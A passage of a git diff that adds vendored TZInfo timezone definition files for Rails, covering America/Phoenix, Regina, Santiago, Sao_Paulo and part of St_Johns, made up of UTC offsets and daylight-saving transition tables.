1836457200 + tz.transition 2028, 11, :o1, 1857016800 + tz.transition 2029, 3, :o2, 1867906800 + tz.transition 2029, 11, :o1, 1888466400 + tz.transition 2030, 3, :o2, 1899356400 + tz.transition 2030, 11, :o1, 1919916000 + tz.transition 2031, 3, :o2, 1930806000 + tz.transition 2031, 11, :o1, 1951365600 + tz.transition 2032, 3, :o2, 1962860400 + tz.transition 2032, 11, :o1, 1983420000 + tz.transition 2033, 3, :o2, 1994310000 + tz.transition 2033, 11, :o1, 2014869600 + tz.transition 2034, 3, :o2, 2025759600 + tz.transition 2034, 11, :o1, 2046319200 + tz.transition 2035, 3, :o2, 2057209200 + tz.transition 2035, 11, :o1, 2077768800 + tz.transition 2036, 3, :o2, 2088658800 + tz.transition 2036, 11, :o1, 2109218400 + tz.transition 2037, 3, :o2, 2120108400 + tz.transition 2037, 11, :o1, 2140668000 + tz.transition 2038, 3, :o2, 59171923, 24 + tz.transition 2038, 11, :o1, 9862939, 4 + tz.transition 2039, 3, :o2, 59180659, 24 + tz.transition 2039, 11, :o1, 9864395, 4 + tz.transition 2040, 3, :o2, 59189395, 24 + tz.transition 2040, 11, :o1, 9865851, 4 + tz.transition 2041, 3, :o2, 59198131, 24 + tz.transition 2041, 11, :o1, 9867307, 4 + tz.transition 2042, 3, :o2, 59206867, 24 + tz.transition 2042, 11, :o1, 9868763, 4 + tz.transition 2043, 3, :o2, 59215603, 24 + tz.transition 2043, 11, :o1, 9870219, 4 + tz.transition 2044, 3, :o2, 59224507, 24 + tz.transition 2044, 11, :o1, 9871703, 4 + tz.transition 2045, 3, :o2, 59233243, 24 + tz.transition 2045, 11, :o1, 9873159, 4 + tz.transition 2046, 3, :o2, 59241979, 24 + tz.transition 2046, 11, :o1, 9874615, 4 + tz.transition 2047, 3, :o2, 59250715, 24 + tz.transition 2047, 11, :o1, 9876071, 4 + tz.transition 2048, 3, :o2, 59259451, 24 + tz.transition 2048, 11, :o1, 9877527, 4 + tz.transition 2049, 3, :o2, 59268355, 24 + tz.transition 2049, 11, :o1, 9879011, 4 + tz.transition 2050, 3, :o2, 59277091, 24 + tz.transition 2050, 11, :o1, 9880467, 4 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Phoenix.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Phoenix.rb new file mode 100644 index 00000000..b514e0c0 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Phoenix.rb @@ -0,0 +1,30 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module America + module Phoenix + include TimezoneDefinition + + timezone 'America/Phoenix' do |tz| + tz.offset :o0, -26898, 0, :LMT + tz.offset :o1, -25200, 0, :MST + tz.offset :o2, -25200, 3600, :MDT + tz.offset :o3, -25200, 3600, :MWT + + tz.transition 1883, 11, :o1, 57819199, 24 + tz.transition 1918, 3, :o2, 19373471, 8 + tz.transition 1918, 10, :o1, 14531363, 6 + tz.transition 1919, 3, :o2, 19376383, 8 + tz.transition 1919, 10, :o1, 14533547, 6 + tz.transition 1942, 2, :o3, 19443199, 8 + tz.transition 1944, 1, :o1, 3500770681, 1440 + tz.transition 1944, 4, :o3, 3500901781, 1440 + tz.transition 1944, 10, :o1, 3501165241, 1440 + tz.transition 1967, 4, :o2, 19516887, 8 + tz.transition 1967, 10, :o1, 14638757, 6 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Regina.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Regina.rb new file mode 100644 index 00000000..ebdb6881 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Regina.rb @@ -0,0 +1,74 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module America + module Regina + include TimezoneDefinition + + timezone 'America/Regina' do |tz| + tz.offset :o0, -25116, 0, :LMT + tz.offset :o1, -25200, 0, :MST + tz.offset :o2, -25200, 3600, :MDT + tz.offset :o3, -25200, 3600, :MWT + tz.offset :o4, -25200, 3600, :MPT + tz.offset :o5, -21600, 0, :CST + + tz.transition 1905, 9, :o1, 17403046493, 7200 + tz.transition 1918, 4, :o2, 19373583, 8 + tz.transition 1918, 10, :o1, 14531387, 6 + tz.transition 1930, 5, :o2, 58226419, 24 + tz.transition 1930, 10, :o1, 9705019, 4 + tz.transition 1931, 5, :o2, 58235155, 24 + tz.transition 1931, 10, :o1, 9706475, 4 + tz.transition 1932, 5, :o2, 58243891, 24 + tz.transition 1932, 10, :o1, 9707931, 4 + tz.transition 1933, 5, :o2, 58252795, 24 + tz.transition 1933, 10, :o1, 9709387, 4 + tz.transition 1934, 5, :o2, 58261531, 24 + tz.transition 1934, 10, :o1, 9710871, 4 + tz.transition 1937, 4, :o2, 58287235, 24 + tz.transition 1937, 10, :o1, 9715267, 4 + tz.transition 1938, 4, :o2, 58295971, 24 + tz.transition 1938, 10, :o1, 9716695, 4 + tz.transition 1939, 4, :o2, 58304707, 24 + tz.transition 1939, 10, :o1, 9718179, 4 + tz.transition 1940, 4, :o2, 58313611, 24 + tz.transition 1940, 10, :o1, 9719663, 4 + tz.transition 1941, 4, :o2, 58322347, 24 + tz.transition 1941, 10, :o1, 9721119, 4 + tz.transition 1942, 2, :o3, 19443199, 8 + tz.transition 1945, 8, :o4, 58360379, 24 + tz.transition 1945, 9, :o1, 14590373, 6 + tz.transition 1946, 4, :o2, 19455399, 8 + tz.transition 1946, 10, :o1, 14592641, 6 + tz.transition 1947, 4, :o2, 19458423, 8 + tz.transition 1947, 9, :o1, 14594741, 6 + tz.transition 1948, 4, :o2, 19461335, 8 + tz.transition 1948, 9, :o1, 14596925, 6 + tz.transition 1949, 4, :o2, 19464247, 8 + tz.transition 1949, 9, :o1, 14599109, 6 + tz.transition 1950, 4, :o2, 19467215, 8 + tz.transition 1950, 9, :o1, 14601293, 6 + tz.transition 1951, 4, :o2, 19470127, 8 + tz.transition 1951, 9, :o1, 14603519, 6 + tz.transition 1952, 4, :o2, 19473039, 8 + tz.transition 1952, 9, :o1, 14605703, 6 + tz.transition 1953, 4, :o2, 19475951, 8 + tz.transition 1953, 9, :o1, 14607887, 6 + tz.transition 1954, 4, :o2, 19478863, 8 + tz.transition 1954, 9, :o1, 14610071, 6 + tz.transition 1955, 4, :o2, 19481775, 8 + tz.transition 1955, 9, :o1, 14612255, 6 + tz.transition 1956, 4, :o2, 19484743, 8 + tz.transition 1956, 9, :o1, 14614481, 6 + tz.transition 1957, 4, :o2, 19487655, 8 + tz.transition 1957, 9, :o1, 14616665, 6 + tz.transition 1959, 4, :o2, 19493479, 8 + tz.transition 1959, 10, :o1, 14621201, 6 + tz.transition 1960, 4, :o5, 19496391, 8 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Santiago.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Santiago.rb new file mode 100644 index 00000000..0287c9eb --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Santiago.rb @@ -0,0 +1,205 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module America + module Santiago + include TimezoneDefinition + + timezone 'America/Santiago' do |tz| + tz.offset :o0, -16966, 0, :LMT + tz.offset :o1, -16966, 0, :SMT + tz.offset :o2, -18000, 0, :CLT + tz.offset :o3, -14400, 0, :CLT + tz.offset :o4, -18000, 3600, :CLST + tz.offset :o5, -14400, 3600, :CLST + + tz.transition 1890, 1, :o1, 104171127683, 43200 + tz.transition 1910, 1, :o2, 104486660483, 43200 + tz.transition 1916, 7, :o1, 58105097, 24 + tz.transition 1918, 9, :o3, 104623388483, 43200 + tz.transition 1919, 7, :o1, 7266422, 3 + tz.transition 1927, 9, :o4, 104765386883, 43200 + tz.transition 1928, 4, :o2, 7276013, 3 + tz.transition 1928, 9, :o4, 58211777, 24 + tz.transition 1929, 4, :o2, 7277108, 3 + tz.transition 1929, 9, :o4, 58220537, 24 + tz.transition 1930, 4, :o2, 7278203, 3 + tz.transition 1930, 9, :o4, 58229297, 24 + tz.transition 1931, 4, :o2, 7279298, 3 + tz.transition 1931, 9, :o4, 58238057, 24 + tz.transition 1932, 4, :o2, 7280396, 3 + tz.transition 1932, 9, :o4, 58246841, 24 + tz.transition 1942, 6, :o2, 7291535, 3 + tz.transition 1942, 8, :o4, 58333745, 24 + tz.transition 1946, 9, :o2, 19456517, 8 + tz.transition 1947, 5, :o3, 58375865, 24 + tz.transition 1968, 11, :o5, 7320491, 3 + tz.transition 1969, 3, :o3, 19522485, 8 + tz.transition 1969, 11, :o5, 7321646, 3 + tz.transition 1970, 3, :o3, 7527600 + tz.transition 1970, 10, :o5, 24465600 + tz.transition 1971, 3, :o3, 37767600 + tz.transition 1971, 10, :o5, 55915200 + tz.transition 1972, 3, :o3, 69217200 + tz.transition 1972, 10, :o5, 87969600 + tz.transition 1973, 3, :o3, 100666800 + tz.transition 1973, 9, :o5, 118209600 + tz.transition 1974, 3, :o3, 132116400 + tz.transition 1974, 10, :o5, 150868800 + tz.transition 1975, 3, :o3, 163566000 + tz.transition 1975, 10, :o5, 182318400 + tz.transition 1976, 3, :o3, 195620400 + tz.transition 1976, 10, :o5, 213768000 + tz.transition 1977, 3, :o3, 227070000 + tz.transition 1977, 10, :o5, 245217600 + tz.transition 1978, 3, :o3, 258519600 + tz.transition 1978, 10, :o5, 277272000 + tz.transition 1979, 3, :o3, 289969200 + tz.transition 1979, 10, :o5, 308721600 + tz.transition 1980, 3, :o3, 321418800 + tz.transition 1980, 10, :o5, 340171200 + tz.transition 1981, 3, :o3, 353473200 + tz.transition 1981, 10, :o5, 371620800 + tz.transition 1982, 3, :o3, 384922800 + tz.transition 1982, 10, :o5, 403070400 + tz.transition 1983, 3, :o3, 416372400 + tz.transition 1983, 10, :o5, 434520000 + tz.transition 1984, 3, :o3, 447822000 + tz.transition 1984, 10, :o5, 466574400 + tz.transition 1985, 3, :o3, 479271600 + tz.transition 1985, 10, :o5, 498024000 + tz.transition 1986, 3, :o3, 510721200 + tz.transition 1986, 10, :o5, 529473600 + tz.transition 1987, 4, :o3, 545194800 + tz.transition 1987, 10, :o5, 560923200 + tz.transition 1988, 3, :o3, 574225200 + tz.transition 1988, 10, :o5, 591768000 + tz.transition 1989, 3, :o3, 605674800 + tz.transition 1989, 10, :o5, 624427200 + tz.transition 1990, 3, :o3, 637729200 + tz.transition 1990, 9, :o5, 653457600 + tz.transition 1991, 3, :o3, 668574000 + tz.transition 1991, 10, :o5, 687326400 + tz.transition 1992, 3, :o3, 700628400 + tz.transition 1992, 10, :o5, 718776000 + tz.transition 1993, 3, :o3, 732078000 + tz.transition 1993, 10, :o5, 750225600 + tz.transition 1994, 3, :o3, 763527600 + tz.transition 1994, 10, :o5, 781675200 + tz.transition 1995, 3, :o3, 794977200 + tz.transition 1995, 10, :o5, 813729600 + tz.transition 1996, 3, :o3, 826426800 + tz.transition 1996, 10, :o5, 845179200 + tz.transition 1997, 3, :o3, 859690800 + tz.transition 1997, 10, :o5, 876628800 + tz.transition 1998, 3, :o3, 889930800 + tz.transition 1998, 9, :o5, 906868800 + tz.transition 1999, 4, :o3, 923194800 + tz.transition 1999, 10, :o5, 939528000 + tz.transition 2000, 3, :o3, 952830000 + tz.transition 2000, 10, :o5, 971582400 + tz.transition 2001, 3, :o3, 984279600 + tz.transition 2001, 10, :o5, 1003032000 + tz.transition 2002, 3, :o3, 1015729200 + tz.transition 2002, 10, :o5, 1034481600 + tz.transition 2003, 3, :o3, 1047178800 + tz.transition 2003, 10, :o5, 1065931200 + tz.transition 2004, 3, :o3, 1079233200 + tz.transition 2004, 10, :o5, 1097380800 + tz.transition 2005, 3, :o3, 1110682800 + tz.transition 2005, 10, :o5, 1128830400 + tz.transition 2006, 3, :o3, 1142132400 + tz.transition 2006, 10, :o5, 1160884800 + tz.transition 2007, 3, :o3, 1173582000 + tz.transition 2007, 10, :o5, 1192334400 + tz.transition 2008, 3, :o3, 1206846000 + tz.transition 2008, 10, :o5, 1223784000 + tz.transition 2009, 3, :o3, 1237086000 + tz.transition 2009, 10, :o5, 1255233600 + tz.transition 2010, 3, :o3, 1268535600 + tz.transition 2010, 10, :o5, 1286683200 + tz.transition 2011, 3, :o3, 1299985200 + tz.transition 2011, 10, :o5, 1318132800 + tz.transition 2012, 3, :o3, 1331434800 + tz.transition 2012, 10, :o5, 1350187200 + tz.transition 2013, 3, :o3, 1362884400 + tz.transition 2013, 10, :o5, 1381636800 + tz.transition 2014, 3, :o3, 1394334000 + tz.transition 2014, 10, :o5, 1413086400 + tz.transition 2015, 3, :o3, 1426388400 + tz.transition 2015, 10, :o5, 1444536000 + tz.transition 2016, 3, :o3, 1457838000 + tz.transition 2016, 10, :o5, 1475985600 + tz.transition 2017, 3, :o3, 1489287600 + tz.transition 2017, 10, :o5, 1508040000 + tz.transition 2018, 3, :o3, 1520737200 + tz.transition 2018, 10, :o5, 1539489600 + tz.transition 2019, 3, :o3, 1552186800 + tz.transition 2019, 10, :o5, 1570939200 + tz.transition 2020, 3, :o3, 1584241200 + tz.transition 2020, 10, :o5, 1602388800 + tz.transition 2021, 3, :o3, 1615690800 + tz.transition 2021, 10, :o5, 1633838400 + tz.transition 2022, 3, :o3, 1647140400 + tz.transition 2022, 10, :o5, 1665288000 + tz.transition 2023, 3, :o3, 1678590000 + tz.transition 2023, 10, :o5, 1697342400 + tz.transition 2024, 3, :o3, 1710039600 + tz.transition 2024, 10, :o5, 1728792000 + tz.transition 2025, 3, :o3, 1741489200 + tz.transition 2025, 10, :o5, 1760241600 + tz.transition 2026, 3, :o3, 1773543600 + tz.transition 2026, 10, :o5, 1791691200 + tz.transition 2027, 3, :o3, 1804993200 + tz.transition 2027, 10, :o5, 1823140800 + tz.transition 2028, 3, :o3, 1836442800 + tz.transition 2028, 10, :o5, 1855195200 + tz.transition 2029, 3, :o3, 1867892400 + tz.transition 2029, 10, :o5, 1886644800 + tz.transition 2030, 3, :o3, 1899342000 + tz.transition 2030, 10, :o5, 1918094400 + tz.transition 2031, 3, :o3, 1930791600 + tz.transition 2031, 10, :o5, 1949544000 + tz.transition 2032, 3, :o3, 1962846000 + tz.transition 2032, 10, :o5, 1980993600 + tz.transition 2033, 3, :o3, 1994295600 + tz.transition 2033, 10, :o5, 2012443200 + tz.transition 2034, 3, :o3, 2025745200 + tz.transition 2034, 10, :o5, 2044497600 + tz.transition 2035, 3, :o3, 2057194800 + tz.transition 2035, 10, :o5, 2075947200 + tz.transition 2036, 3, :o3, 2088644400 + tz.transition 2036, 10, :o5, 2107396800 + tz.transition 2037, 3, :o3, 2120698800 + tz.transition 2037, 10, :o5, 2138846400 + tz.transition 2038, 3, :o3, 19723973, 8 + tz.transition 2038, 10, :o5, 7397120, 3 + tz.transition 2039, 3, :o3, 19726885, 8 + tz.transition 2039, 10, :o5, 7398212, 3 + tz.transition 2040, 3, :o3, 19729797, 8 + tz.transition 2040, 10, :o5, 7399325, 3 + tz.transition 2041, 3, :o3, 19732709, 8 + tz.transition 2041, 10, :o5, 7400417, 3 + tz.transition 2042, 3, :o3, 19735621, 8 + tz.transition 2042, 10, :o5, 7401509, 3 + tz.transition 2043, 3, :o3, 19738589, 8 + tz.transition 2043, 10, :o5, 7402601, 3 + tz.transition 2044, 3, :o3, 19741501, 8 + tz.transition 2044, 10, :o5, 7403693, 3 + tz.transition 2045, 3, :o3, 19744413, 8 + tz.transition 2045, 10, :o5, 7404806, 3 + tz.transition 2046, 3, :o3, 19747325, 8 + tz.transition 2046, 10, :o5, 7405898, 3 + tz.transition 2047, 3, :o3, 19750237, 8 + tz.transition 2047, 10, :o5, 7406990, 3 + tz.transition 2048, 3, :o3, 19753205, 8 + tz.transition 2048, 10, :o5, 7408082, 3 + tz.transition 2049, 3, :o3, 19756117, 8 + tz.transition 2049, 10, :o5, 7409174, 3 + tz.transition 2050, 3, :o3, 19759029, 8 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Sao_Paulo.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Sao_Paulo.rb new file mode 100644 index 00000000..0524f81c --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Sao_Paulo.rb @@ -0,0 +1,171 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module America + module Sao_Paulo + include TimezoneDefinition + + timezone 'America/Sao_Paulo' do |tz| + tz.offset :o0, -11188, 0, :LMT + tz.offset :o1, -10800, 0, :BRT + tz.offset :o2, -10800, 3600, :BRST + + tz.transition 1914, 1, :o1, 52274886397, 21600 + tz.transition 1931, 10, :o2, 29119417, 12 + tz.transition 1932, 4, :o1, 29121583, 12 + tz.transition 1932, 10, :o2, 19415869, 8 + tz.transition 1933, 4, :o1, 29125963, 12 + tz.transition 1949, 12, :o2, 19466013, 8 + tz.transition 1950, 4, :o1, 19467101, 8 + tz.transition 1950, 12, :o2, 19468933, 8 + tz.transition 1951, 4, :o1, 29204851, 12 + tz.transition 1951, 12, :o2, 19471853, 8 + tz.transition 1952, 4, :o1, 29209243, 12 + tz.transition 1952, 12, :o2, 19474781, 8 + tz.transition 1953, 3, :o1, 29213251, 12 + tz.transition 1963, 10, :o2, 19506605, 8 + tz.transition 1964, 3, :o1, 29261467, 12 + tz.transition 1965, 1, :o2, 19510333, 8 + tz.transition 1965, 3, :o1, 29266207, 12 + tz.transition 1965, 12, :o2, 19512765, 8 + tz.transition 1966, 3, :o1, 29270227, 12 + tz.transition 1966, 11, :o2, 19515445, 8 + tz.transition 1967, 3, :o1, 29274607, 12 + tz.transition 1967, 11, :o2, 19518365, 8 + tz.transition 1968, 3, :o1, 29278999, 12 + tz.transition 1985, 11, :o2, 499748400 + tz.transition 1986, 3, :o1, 511236000 + tz.transition 1986, 10, :o2, 530593200 + tz.transition 1987, 2, :o1, 540266400 + tz.transition 1987, 10, :o2, 562129200 + tz.transition 1988, 2, :o1, 571197600 + tz.transition 1988, 10, :o2, 592974000 + tz.transition 1989, 1, :o1, 602042400 + tz.transition 1989, 10, :o2, 624423600 + tz.transition 1990, 2, :o1, 634701600 + tz.transition 1990, 10, :o2, 656478000 + tz.transition 1991, 2, :o1, 666756000 + tz.transition 1991, 10, :o2, 687927600 + tz.transition 1992, 2, :o1, 697600800 + tz.transition 1992, 10, :o2, 719982000 + tz.transition 1993, 1, :o1, 728445600 + tz.transition 1993, 10, :o2, 750826800 + tz.transition 1994, 2, :o1, 761709600 + tz.transition 1994, 10, :o2, 782276400 + tz.transition 1995, 2, :o1, 793159200 + tz.transition 1995, 10, :o2, 813726000 + tz.transition 1996, 2, :o1, 824004000 + tz.transition 1996, 10, :o2, 844570800 + tz.transition 1997, 2, :o1, 856058400 + tz.transition 1997, 10, :o2, 876106800 + tz.transition 1998, 3, :o1, 888717600 + tz.transition 1998, 10, :o2, 908074800 + tz.transition 1999, 2, :o1, 919562400 + tz.transition 1999, 10, :o2, 938919600 + tz.transition 2000, 2, :o1, 951616800 + tz.transition 2000, 10, :o2, 970974000 + tz.transition 2001, 2, :o1, 982461600 + tz.transition 2001, 10, :o2, 1003028400 + tz.transition 2002, 2, :o1, 1013911200 + tz.transition 2002, 11, :o2, 1036292400 + tz.transition 2003, 2, :o1, 1045360800 + tz.transition 2003, 10, :o2, 1066532400 + tz.transition 2004, 2, :o1, 1076810400 + tz.transition 2004, 11, :o2, 1099364400 + tz.transition 2005, 2, :o1, 1108864800 + tz.transition 2005, 10, :o2, 1129431600 + tz.transition 2006, 2, :o1, 1140314400 + tz.transition 2006, 11, :o2, 1162695600 + tz.transition 2007, 2, :o1, 1172368800 + tz.transition 2007, 10, :o2, 1192330800 + tz.transition 2008, 2, :o1, 1203213600 + tz.transition 2008, 10, :o2, 1224385200 + tz.transition 2009, 2, :o1, 1234663200 + tz.transition 2009, 10, :o2, 1255834800 + tz.transition 2010, 2, :o1, 1266717600 + tz.transition 2010, 10, :o2, 1287284400 + tz.transition 2011, 2, :o1, 1298167200 + tz.transition 2011, 10, :o2, 1318734000 + tz.transition 2012, 2, :o1, 1330221600 + tz.transition 2012, 10, :o2, 1350788400 + tz.transition 2013, 2, :o1, 1361066400 + tz.transition 2013, 10, :o2, 1382238000 + tz.transition 2014, 2, :o1, 1392516000 + tz.transition 2014, 10, :o2, 1413687600 + tz.transition 2015, 2, :o1, 1424570400 + tz.transition 2015, 10, :o2, 1445137200 + tz.transition 2016, 2, :o1, 1456020000 + tz.transition 2016, 10, :o2, 1476586800 + tz.transition 2017, 2, :o1, 1487469600 + tz.transition 2017, 10, :o2, 1508036400 + tz.transition 2018, 2, :o1, 1518919200 + tz.transition 2018, 10, :o2, 1540090800 + tz.transition 2019, 2, :o1, 1550368800 + tz.transition 2019, 10, :o2, 1571540400 + tz.transition 2020, 2, :o1, 1581818400 + tz.transition 2020, 10, :o2, 1602990000 + tz.transition 2021, 2, :o1, 1613872800 + tz.transition 2021, 10, :o2, 1634439600 + tz.transition 2022, 2, :o1, 1645322400 + tz.transition 2022, 10, :o2, 1665889200 + tz.transition 2023, 2, :o1, 1677376800 + tz.transition 2023, 10, :o2, 1697338800 + tz.transition 2024, 2, :o1, 1708221600 + tz.transition 2024, 10, :o2, 1729393200 + tz.transition 2025, 2, :o1, 1739671200 + tz.transition 2025, 10, :o2, 1760842800 + tz.transition 2026, 2, :o1, 1771725600 + tz.transition 2026, 10, :o2, 1792292400 + tz.transition 2027, 2, :o1, 1803175200 + tz.transition 2027, 10, :o2, 1823742000 + tz.transition 2028, 2, :o1, 1834624800 + tz.transition 2028, 10, :o2, 1855191600 + tz.transition 2029, 2, :o1, 1866074400 + tz.transition 2029, 10, :o2, 1887246000 + tz.transition 2030, 2, :o1, 1897524000 + tz.transition 2030, 10, :o2, 1918695600 + tz.transition 2031, 2, :o1, 1928973600 + tz.transition 2031, 10, :o2, 1950145200 + tz.transition 2032, 2, :o1, 1960423200 + tz.transition 2032, 10, :o2, 1981594800 + tz.transition 2033, 2, :o1, 1992477600 + tz.transition 2033, 10, :o2, 2013044400 + tz.transition 2034, 2, :o1, 2024532000 + tz.transition 2034, 10, :o2, 2044494000 + tz.transition 2035, 2, :o1, 2055376800 + tz.transition 2035, 10, :o2, 2076548400 + tz.transition 2036, 2, :o1, 2086826400 + tz.transition 2036, 10, :o2, 2107998000 + tz.transition 2037, 2, :o1, 2118880800 + tz.transition 2037, 10, :o2, 2139447600 + tz.transition 2038, 2, :o1, 29585707, 12 + tz.transition 2038, 10, :o2, 19725709, 8 + tz.transition 2039, 2, :o1, 29590075, 12 + tz.transition 2039, 10, :o2, 19728621, 8 + tz.transition 2040, 2, :o1, 29594443, 12 + tz.transition 2040, 10, :o2, 19731589, 8 + tz.transition 2041, 2, :o1, 29598811, 12 + tz.transition 2041, 10, :o2, 19734501, 8 + tz.transition 2042, 2, :o1, 29603179, 12 + tz.transition 2042, 10, :o2, 19737413, 8 + tz.transition 2043, 2, :o1, 29607547, 12 + tz.transition 2043, 10, :o2, 19740325, 8 + tz.transition 2044, 2, :o1, 29611999, 12 + tz.transition 2044, 10, :o2, 19743237, 8 + tz.transition 2045, 2, :o1, 29616367, 12 + tz.transition 2045, 10, :o2, 19746149, 8 + tz.transition 2046, 2, :o1, 29620735, 12 + tz.transition 2046, 10, :o2, 19749117, 8 + tz.transition 2047, 2, :o1, 29625103, 12 + tz.transition 2047, 10, :o2, 19752029, 8 + tz.transition 2048, 2, :o1, 29629471, 12 + tz.transition 2048, 10, :o2, 19754941, 8 + tz.transition 2049, 2, :o1, 29633923, 12 + tz.transition 2049, 10, :o2, 19757853, 8 + tz.transition 2050, 2, :o1, 29638291, 12 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/St_Johns.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/St_Johns.rb new file mode 100644 index 00000000..e4a3599d --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/St_Johns.rb @@ -0,0 +1,288 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module America + module St_Johns + include TimezoneDefinition + + timezone 'America/St_Johns' do |tz| + tz.offset :o0, -12652, 0, :LMT + tz.offset :o1, -12652, 0, :NST + tz.offset :o2, -12652, 3600, :NDT + tz.offset :o3, -12600, 0, :NST + tz.offset :o4, -12600, 3600, :NDT + tz.offset :o5, -12600, 3600, :NWT + tz.offset :o6, -12600, 3600, :NPT + tz.offset :o7, -12600, 7200, :NDDT + + tz.transition 1884, 1, :o1, 52038215563, 21600 + tz.transition 1917, 4, :o2, 52300657363, 21600 + tz.transition 1917, 9, :o1, 52304155663, 21600 + tz.transition 1918, 4, :o2, 52308670963, 21600 + tz.transition 1918, 10, :o1, 52312990063, 21600 + tz.transition 1919, 5, :o2, 52317027463, 21600 + tz.transition 1919, 8, :o1, 52319164963, 21600 + tz.transition 1920, 5, :o2, 52324868263, 21600 + tz.transition 1920, 11, :o1, 52328798563, 21600 + tz.transition 1921, 5, :o2, 52332730663, 21600 + tz.transition 1921, 10, :o1, 52336660963, 21600 + tz.transition 1922, 5, :o2, 52340744263, 21600 + tz.transition 1922, 10, :o1, 52344523363, 21600 + tz.transition 1923, 5, :o2, 52348606663, 21600 + tz.transition 1923, 10, :o1, 52352385763, 21600 + tz.transition 1924, 5, :o2, 52356469063, 21600 + tz.transition 1924, 10, :o1, 52360248163, 21600 + tz.transition 1925, 5, :o2, 52364331463, 21600 + tz.transition 1925, 10, :o1, 52368110563, 21600 + tz.transition 1926, 5, :o2, 52372193863, 21600 + tz.transition 1926, 11, :o1, 52376124163, 21600 + tz.transition 1927, 5, :o2, 52380056263, 21600 + tz.transition 1927, 10, :o1, 52383986563, 21600 + tz.transition 1928, 5, :o2, 52388069863, 21600 + tz.transition 1928, 10, :o1, 52391848963, 21600 + tz.transition 1929, 5, :o2, 52395932263, 21600 + tz.transition 1929, 10, :o1, 52399711363, 21600 + tz.transition 1930, 5, :o2, 52403794663, 21600 + tz.transition 1930, 10, :o1, 52407573763, 21600 + tz.transition 1931, 5, :o2, 52411657063, 21600 + tz.transition 1931, 10, :o1, 52415436163, 21600 + tz.transition 1932, 5, :o2, 52419519463, 21600 + tz.transition 1932, 10, :o1, 52423449763, 21600 + tz.transition 1933, 5, :o2, 52427533063, 21600 + tz.transition 1933, 10, :o1, 52431312163, 21600 + tz.transition 1934, 5, :o2, 52435395463, 21600 + tz.transition 1934, 10, :o1, 52439174563, 21600 + tz.transition 1935, 3, :o3, 52442459563, 21600 + tz.transition 1935, 5, :o4, 116540573, 48 + tz.transition 1935, 10, :o3, 38849657, 16 + tz.transition 1936, 5, :o4, 116558383, 48 + tz.transition 1936, 10, :o3, 116565437, 48 + tz.transition 1937, 5, :o4, 116575855, 48 + tz.transition 1937, 10, :o3, 116582909, 48 + tz.transition 1938, 5, :o4, 116593327, 48 + tz.transition 1938, 10, :o3, 116600381, 48 + tz.transition 1939, 5, :o4, 116611135, 48 + tz.transition 1939, 10, :o3, 116617853, 48 + tz.transition 1940, 5, :o4, 116628607, 48 + tz.transition 1940, 10, :o3, 116635661, 48 + tz.transition 1941, 5, :o4, 116646079, 48 + tz.transition 1941, 10, :o3, 116653133, 48 + tz.transition 1942, 5, :o5, 116663551, 48 + tz.transition 1945, 8, :o6, 58360379, 24 + tz.transition 1945, 9, :o3, 38907659, 16 + tz.transition 1946, 5, :o4, 116733731, 48 + tz.transition 1946, 10, :o3, 38913595, 16 + tz.transition 1947, 5, :o4, 116751203, 48 + tz.transition 1947, 10, :o3, 38919419, 16 + tz.transition 1948, 5, :o4, 116768675, 48 + tz.transition 1948, 10, :o3, 38925243, 16 + tz.transition 1949, 5, :o4, 116786147, 48 + tz.transition 1949, 10, :o3, 38931067, 16 + tz.transition 1950, 5, :o4, 116803955, 48 + tz.transition 1950, 10, :o3, 38937003, 16 + tz.transition 1951, 4, :o4, 116820755, 48 + tz.transition 1951, 9, :o3, 38942715, 16 + tz.transition 1952, 4, :o4, 116838227, 48 + tz.transition 1952, 9, :o3, 38948539, 16 + tz.transition 1953, 4, :o4, 116855699, 48 + tz.transition 1953, 9, :o3, 38954363, 16 + tz.transition 1954, 4, :o4, 116873171, 48 + tz.transition 1954, 9, :o3, 38960187, 16 + tz.transition 1955, 4, :o4, 116890643, 48 + tz.transition 1955, 9, :o3, 38966011, 16 + tz.transition 1956, 4, :o4, 116908451, 48 + tz.transition 1956, 9, :o3, 38971947, 16 + tz.transition 1957, 4, :o4, 116925923, 48 + tz.transition 1957, 9, :o3, 38977771, 16 + tz.transition 1958, 4, :o4, 116943395, 48 + tz.transition 1958, 9, :o3, 38983595, 16 + tz.transition 1959, 4, :o4, 116960867, 48 + tz.transition 1959, 9, :o3, 38989419, 16 + tz.transition 1960, 4, :o4, 116978339, 48 + tz.transition 1960, 10, :o3, 38995803, 16 + tz.transition 1961, 4, :o4, 116996147, 48 + tz.transition 1961, 10, :o3, 39001627, 16 + tz.transition 1962, 4, :o4, 117013619, 48 + tz.transition 1962, 10, :o3, 39007451, 16 + tz.transition 1963, 4, :o4, 117031091, 48 + tz.transition 1963, 10, :o3, 